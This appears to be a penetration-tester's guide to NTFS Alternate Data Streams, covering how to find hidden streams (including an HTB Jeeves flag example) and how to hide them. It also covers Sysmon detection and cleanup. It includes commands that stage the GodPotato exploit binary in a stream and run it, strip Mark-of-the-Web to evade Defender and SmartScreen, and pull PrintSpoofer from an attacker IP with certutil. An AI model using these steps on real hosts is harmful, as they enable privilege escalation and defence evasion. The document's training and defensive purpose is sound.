← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · ← Potato Attacks guide
NTFS Alternate Data Streams — Hiding & Finding Hidden Data ris:FileList
[!dashboard] What this is NTFS Alternate Data Streams (ADS) let a file carry extra content that a normal directory listing never shows. On offense, that’s a place to stage a payload off a directory listing and strip Mark-of-the-Web before you run it — a trick usually paired with the Potato Attacks guide once you’ve got a privileged shell. On the other side of the same coin, it’s where CTF flags, credentials, and second-stage tooling get hidden, and where a downloaded file’s origin gets recorded — so knowing how to find a stream matters as much as knowing how to hide one. They’re a legitimate NTFS feature, quietly used (and abused) for both since Windows NT.
What an ADS actually is
On NTFS, every file has at least one data stream — the default (unnamed) stream that holds the content you normally see. NTFS lets you attach additional named streams to the same file. The main file keeps its name and its reported size; the extra streams ride along invisibly.
Syntax: filename:streamname:streamtype
Common stream types:
| Type | Purpose |
|---|---|
$DATA | Actual data content — by far the most common, and what you’ll use |
$INDEX_ALLOCATION | Directory indexes (attaching this to a name creates a directory-like object) |
| others | Assorted NTFS metadata streams |
Why it matters to both sides of the keyboard:
- Invisible to normal listings. Plain
dirand Explorer don’t show streams — you needdir /ror PowerShell’s-Stream. - They don’t change the file’s reported size. The host file still shows its original size; the stream’s bytes aren’t counted.
- They travel with the file on NTFS, and are silently stripped when the file crosses to FAT32/exFAT, most network shares, email, or an HTTP upload. Handy for evasion; a trap if you rely on a stream surviving a copy.
- No special permission needed. If you can write the file, you can add a stream to it. Reading one someone else hid just needs read access to the host file, same as normal.
Finding & enumerating streams fas:MagnifyingGlass
This is the question that actually comes up on an engagement or a box: does this file — or this whole directory tree — have anything hidden on it? Plain dir and Explorer will never tell you. Four ways to ask, from the always-available one-liner up to a full-drive sweep.
dir /r — one directory, no tooling required
:: cmd — /r reveals streams next to each file (look for the "file:stream:$DATA" lines)
dir /r C:\Users\Administrator\Desktop
A tell-tale stream line looks like this — a file whose visible content is tiny, carrying a named $DATA stream beside it:
36 hm.txt
34 hm.txt:root.txt:$DATA
That second line is the whole discovery: hm.txt has a named stream called root.txt. Nothing about the plain 36 hm.txt line hints at it.
dir /s /r — the same thing, recursively
Add /s to walk every subdirectory instead of checking one folder at a time — the reflex to use once you land somewhere and want to sweep the whole profile or drive in one shot:
:: Every file, every subfolder, streams and all — a whole profile in one command
dir /s /r C:\Users\Administrator
:: Narrow the noise: only lines that mention a stream
dir /s /r C:\Users\Administrator | findstr /R /C:":.*\$DATA$" | findstr /V /C:"::\$DATA"
The findstr filter matters at scale: every file has its own unnamed ::$DATA stream, and dir /r prints that for every single file — the second findstr /V drops those so only genuinely named streams (the interesting ones) survive.
[!warning]+
dir /s /ris loud and can be slow on a big treefas:TriangleExclamationRecursing an entire user profile orC:\is fine on a CTF box; on a real engagement it’s a lot of filesystem I/O and (without thefindstrfilter above) a wall of output that buries the one line you care about. Scope it to the directories that matter — profile roots, web roots,Temp— rather than reflexively pointing it atC:\.
PowerShell — cleanest output, easiest to filter
# One file
Get-Item C:\Windows\Temp\notes.txt -Stream *
# A whole tree, filtered to only files that actually carry an extra stream —
# prints exactly the file + stream name, nothing else
Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue
} | Where-Object Stream -ne ':$DATA' | Select-Object FileName, Stream, Length
The Select-Object at the end is the difference between a readable table (FileName, Stream, Length) and a wall of default property dumps — worth keeping when you’re sweeping anything bigger than a single directory.
Sysinternals streams.exe — purpose-built, no scripting needed
:: Recursive sweep, quiet banner
streams.exe -nobanner -s C:\Users
:: A single file
streams.exe -nobanner C:\Windows\Temp\notes.txt
streams64.exe is the same tool for 64-bit targets if the plain binary won’t run. Not bundled here — grab it from Microsoft’s Sysinternals downloads (or land it via SMB/certutil per the Potato Attacks guide’s delivery section — the same transport tricks apply to any tool, not just potatoes).
Which one to reach for
| Method | Recursive? | Needs | Best for |
|---|---|---|---|
dir /r | No (one directory) | Nothing — always available | Quick check on a directory you’re already looking at |
dir /s /r (+ findstr filter) | Yes | Nothing — always available | Sweeping a whole profile/tree from cmd with no extra tooling, non-interactive shells |
PowerShell Get-Item/Get-ChildItem -Stream | Optional (both shown above) | PowerShell | Cleanest, filterable, scriptable output — the one to reach for when you’re already in a PS session |
streams.exe / streams64.exe | Yes (-s) | The binary itself (not built in) | Purpose-built recursive sweep when you’d rather not write a PowerShell one-liner, or from cmd on a box you don’t want to touch with PowerShell |
[!tip]+ In a non-interactive shell (a potato firing one command and exiting)
fas:LightbulbAll four work the same way as anything else non-interactive: redirect to a file you can read back.dir /s /r C:\Users\Administrator > ads.txt 2>&1thentype ads.txt— exactly the pattern used throughout the Potato Attacks guide’s field method.
Reading a stream
Once you know the stream’s name (from dir /r or -Stream *), read it:
:: cmd — the classic
more < "C:\Windows\Temp\notes.txt:hidden:$DATA"
# PowerShell — cleanest
Get-Content C:\Windows\Temp\notes.txt -Stream hidden
# notepad opens a named stream directly
notepad C:\Windows\Temp\notes.txt:hidden
[!warning]+
more <needs the redirect — a direct path won’t workfas:TriangleExclamationmore C:\path\file.txt:stream(no<) fails;type file.txt:streamalso fails on most builds. The reliable cmd form ismore < "path:stream", using input redirection rather than passing the ADS path as a normal argument.
Finding hidden data — a worked example
The scenario above (hm.txt with a root.txt:$DATA stream) is a real one, from HTB Jeeves, and it’s the exact shape almost every “hidden flag” or “hidden credential” ADS challenge takes: a small, boring-looking file sitting next to something that matters. Walking through it end to end:
1. You get a shell in a context that can see the file — here, NT AUTHORITY\SYSTEM, reached via the potato chain worked through in the Potato Attacks guide’s field method. If you’re already Administrator/SYSTEM (or it’s just your own file), skip straight to step 2.
2. Sweep for streams instead of trusting a plain dir:
dir /r C:\Users\Administrator\Desktop
Directory of C:\Users\Administrator\Desktop
11/08/2017 10:05 AM <DIR> .
11/08/2017 10:05 AM <DIR> ..
12/24/2017 03:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
The hm.txt:root.txt:$DATA line is the tell — a 34-byte stream named root.txt riding on a 36-byte host file that gives no other hint it’s there.
3. Read the stream directly:
more < hm.txt:root.txt
That’s the whole technique — no potato, no privilege escalation needed for this step; the only privilege that mattered was whatever let you read hm.txt in the first place (here, being SYSTEM to reach another user’s Desktop).
4. From a non-interactive shell (a potato firing one command and exiting, a web shell, anything without a live prompt), redirect both the listing and the read to files you can pull back:
:: find it
... "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt 2>&1"
type C:\Users\kohsuke\ads.txt
:: read it
... "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\flag.txt 2>&1"
type C:\Users\kohsuke\flag.txt
[!success]+ The pattern, generalised
fas:Lightbulb
dir /r(or the PowerShell/streams.exesweep) on every directory you land in that you haven’t checked — Desktop, Documents, profile roots, web roots. A tiny file next to something sensitive-sounding is the classic tell.more < file:streamreads it once you have the stream name. No stream name shown bydir /r? You don’t have one — move on.- No live shell? Redirect the command’s own output to a file (
> out.txt 2>&1) andtype/pull it back, exactly like any other non-interactive command.
Writing / staging into a stream
The reverse of the above — this is how those hidden files get created in the first place, and how you’d stage your own payload the same way.
:: Hide text
echo secret-loot-here > "C:\Windows\Temp\notes.txt:stash"
:: Stash a binary inside an innocuous host file (NTFS→NTFS copy)
type C:\Tools\GodPotato-NET4.exe > "C:\Windows\Temp\log.txt:g.exe"
# PowerShell staging
Set-Content -Path C:\Windows\Temp\notes.txt -Stream stash -Value 'secret-loot-here'
[!warning]+ Running an EXE straight from a stream is mostly dead on modern Windows
fas:TriangleExclamationOlder Windows let you launch a process whose image was an ADS. Current builds block that —start file.txt:g.exe/Start-Processagainst a stream fails. So use ADS for staging and hiding, then copy the payload back out to a normal file to execute it:type C:\Tools\GodPotato-NET4.exe > C:\Windows\Temp\log.txt:g.exe :: hide more < C:\Windows\Temp\log.txt:g.exe > C:\Windows\Temp\g.exe :: extract to run C:\Windows\Temp\g.exe -cmd "cmd /c whoami"Script and DLL loaders (
powershell,wscript/cscript,rundll32,regsvr32) can still be fed from a stream via LOLBINs, but the reliable, portable pattern is stage-in-stream → extract → run. See the Potato Attacks guide for what to do once you’re running as SYSTEM.
Mark-of-the-Web — the ADS you meet every engagement
Every file a browser or Invoke-WebRequest downloads gets a Zone.Identifier stream (Mark-of-the-Web). It’s what makes SmartScreen and Defender treat a file as “from the internet.” Reading it is a forensics staple; stripping it is an evasion staple.
# See where a downloaded file came from (blue-team / OSINT gold — often has the source URL)
Get-Content .\PrintSpoofer64.exe -Stream Zone.Identifier
# Strip MOTW so SmartScreen/Defender stop nagging (two equivalent ways)
Remove-Item .\PrintSpoofer64.exe -Stream Zone.Identifier
Unblock-File .\PrintSpoofer64.exe
:: The stealthiest way to drop MOTW is to never create it: pull the tool with a
:: transport that doesn't write Zone.Identifier (SMB copy, certutil), not a browser.
certutil -urlcache -f http://10.10.14.3/PrintSpoofer64.exe C:\Windows\Temp\ps.exe
Removing a stream
# Delete just one stream, keep the file
Remove-Item C:\Windows\Temp\notes.txt -Stream stash
:: cmd has no native single-stream delete — round-trip through a non-NTFS
:: filesystem (copy off to FAT/exFAT and back) strips every stream at once.
Detection, OPSEC & cleanup fas:Shield
[!danger] Authorised testing only
fas:TriangleExclamationReading another user’s files (even via a stream) and hiding artefacts on a real host both need explicit authorisation. Track every stream you create, with full paths, and remove it at cleanup.
What the blue team sees:
| Signal | Where |
|---|---|
New $DATA streams appearing on files | Sysmon Event 15 (FileCreateStreamHash) |
A downloaded tool’s Zone.Identifier still naming your web server | ADS on the artefact itself |
Unusual dir /r / Get-Item -Stream * / streams.exe invocations in command-line logging | Sysmon Event 1, PowerShell script-block logging |
OPSEC notes:
- ADS defeats a plain
dirand a size check, not a defender who runsdir /r/streams.exe— treat it as reduces casual visibility, not invisible. - Sysmon Event 15 logs stream creation by hash on a well-instrumented estate; don’t assume staging in a stream is silent there.
Cleanup checklist:
Remove-Item C:\Windows\Temp\log.txt -Stream g.exe -ErrorAction SilentlyContinue # the ADS
Remove-Item C:\Windows\Temp\notes.txt -Stream stash -ErrorAction SilentlyContinue
References fas:BookOpen
| Topic | Source |
|---|---|
| NTFS ADS / Mark-of-the-Web | MITRE ATT&CK T1564.004 · Sysinternals streams |
← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · ← Potato Attacks guide